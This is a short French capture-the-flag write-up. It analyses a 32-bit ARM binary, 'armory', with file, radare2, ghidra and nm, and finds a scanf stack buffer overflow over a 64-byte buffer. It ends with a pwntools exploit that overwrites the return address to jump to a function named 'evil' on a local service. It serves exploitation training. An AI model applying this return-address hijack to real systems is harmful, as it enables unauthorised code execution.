On inspecte l’exécutable fourni :
$ file armory
armory: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=aaa2d5ba6d3a6cf3958eb9073e673795c2f1e24e, not stripped
Donc c’est un exécutable arm 32 bits.
On inspecte ça avec radare2
Il y a donc un beau buffer overflow avec le scanf
.
De manière plus claire avec ghidra
:
Donc la variable de 64 octets permet un débordement.
Plus qu’à trouver une fonction cible à atteindre.
En cherchant bien on trouve une fonction evil
:
$ nm armory
...
0001052c T evil
...
Si on regarde le code de cette fonction :
Donc là c’est clair. C’est la fonction qu’on cherche. Plus qu’à coder l’exploit :
import pwn
payload = pwn.cyclic(64 + 4) + pwn.p32(0x0001052C)
conn = pwn.remote("localhost", 4000)
print(conn.recvline())
conn.sendline(payload)
conn.interactive()